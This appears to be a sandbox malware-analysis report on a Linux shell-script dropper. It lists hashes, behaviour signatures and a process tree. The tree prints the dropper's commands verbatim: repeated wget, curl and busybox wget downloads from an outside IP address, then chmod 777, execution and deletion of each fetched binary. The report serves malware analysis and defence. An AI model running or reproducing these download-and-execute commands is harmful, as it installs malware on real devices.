Analysis
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max time kernel
22s -
max time network
26s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
28/10/2024, 01:39
Static task
static1
Behavioral task
behavioral1
Sample
13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
Resource
debian9-mipsel-20240611-en
General
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Target
13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
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Size
10KB
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MD5
c27e3dbba79b6afbd8c32c4e50cffe76
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SHA1
b2ec5ed7bd931b3a3b970e1d5d209d031219a547
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SHA256
13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040
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SHA512
382804bca6a3c36dfe896726e67efbf903aede59316574bba39dd8b943f31a5caefcd2d666eb0bd1513c38a33fcde0e4d9245781648860f8c077675e5206f023
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SSDEEP
192:mhN4hJ8oKCm/mPmympmFmO/1JdUJh1s8hN4hJRJdUJhXm/mPmympmFmWo:eoKnue3kYO/Isrue3kYWo
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 7 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 768 chmod 775 chmod 687 chmod 698 chmod 718 chmod 733 chmod 750 chmod -
Executes dropped EXE 7 IoCs
ioc pid Process /tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw 689 xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw /tmp/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF 699 fBl2KigufHZnmQqWghZFomThmvhAVfHNsF /tmp/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB 719 9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB /tmp/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o 734 jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o /tmp/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey 752 L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey /tmp/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod 769 vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod /tmp/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG 776 5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG -
Checks CPU configuration 1 TTPs 7 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF curl File opened for modification /tmp/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB curl File opened for modification /tmp/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o curl File opened for modification /tmp/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey curl File opened for modification /tmp/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod curl File opened for modification /tmp/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG curl File opened for modification /tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw curl
Processes
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/tmp/13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh/tmp/13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh1⤵PID:660
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/bin/rm/bin/rm bins.sh2⤵PID:663
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/usr/bin/wgetwget http://87.120.84.230/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw2⤵PID:669
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/usr/bin/curlcurl -O http://87.120.84.230/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:677
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw2⤵PID:685
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/bin/chmodchmod 777 xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw2⤵
- File and Directory Permissions Modification
PID:687
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/tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw./xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw2⤵
- Executes dropped EXE
PID:689
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/bin/rmrm xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw2⤵PID:690
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/usr/bin/wgetwget http://87.120.84.230/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF2⤵PID:692
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/usr/bin/curlcurl -O http://87.120.84.230/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:695
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF2⤵PID:697
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/bin/chmodchmod 777 fBl2KigufHZnmQqWghZFomThmvhAVfHNsF2⤵
- File and Directory Permissions Modification
PID:698
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/tmp/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF./fBl2KigufHZnmQqWghZFomThmvhAVfHNsF2⤵
- Executes dropped EXE
PID:699
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/bin/rmrm fBl2KigufHZnmQqWghZFomThmvhAVfHNsF2⤵PID:700
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/usr/bin/wgetwget http://87.120.84.230/bins/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB2⤵PID:701
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/usr/bin/curlcurl -O http://87.120.84.230/bins/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:702
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB2⤵PID:709
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/bin/chmodchmod 777 9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB2⤵
- File and Directory Permissions Modification
PID:718
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/tmp/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB./9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB2⤵
- Executes dropped EXE
PID:719
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/bin/rmrm 9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB2⤵PID:720
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/usr/bin/wgetwget http://87.120.84.230/bins/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o2⤵PID:722
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/usr/bin/curlcurl -O http://87.120.84.230/bins/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:726
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o2⤵PID:729
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/bin/chmodchmod 777 jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o2⤵
- File and Directory Permissions Modification
PID:733
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/tmp/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o./jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o2⤵
- Executes dropped EXE
PID:734
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/bin/rmrm jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o2⤵PID:736
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/usr/bin/wgetwget http://87.120.84.230/bins/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey2⤵PID:737
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/usr/bin/curlcurl -O http://87.120.84.230/bins/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:743
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey2⤵PID:748
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/bin/chmodchmod 777 L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey2⤵
- File and Directory Permissions Modification
PID:750
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/tmp/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey./L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey2⤵
- Executes dropped EXE
PID:752
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/bin/rmrm L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey2⤵PID:753
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/usr/bin/wgetwget http://87.120.84.230/bins/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod2⤵PID:755
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/usr/bin/curlcurl -O http://87.120.84.230/bins/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:761
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod2⤵PID:766
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/bin/chmodchmod 777 vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod2⤵
- File and Directory Permissions Modification
PID:768
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/tmp/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod./vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod2⤵
- Executes dropped EXE
PID:769
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/bin/rmrm vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod2⤵PID:770
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/usr/bin/wgetwget http://87.120.84.230/bins/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG2⤵PID:771
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/usr/bin/curlcurl -O http://87.120.84.230/bins/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:773
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG2⤵PID:774
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/bin/chmodchmod 777 5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG2⤵
- File and Directory Permissions Modification
PID:775
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/tmp/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG./5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG2⤵
- Executes dropped EXE
PID:776
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/bin/rmrm 5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG2⤵PID:777
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/usr/bin/wgetwget http://87.120.84.230/bins/2ffYLp5CKNrI7Xt5HXl6mWqJj4hneNkta42⤵PID:778
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97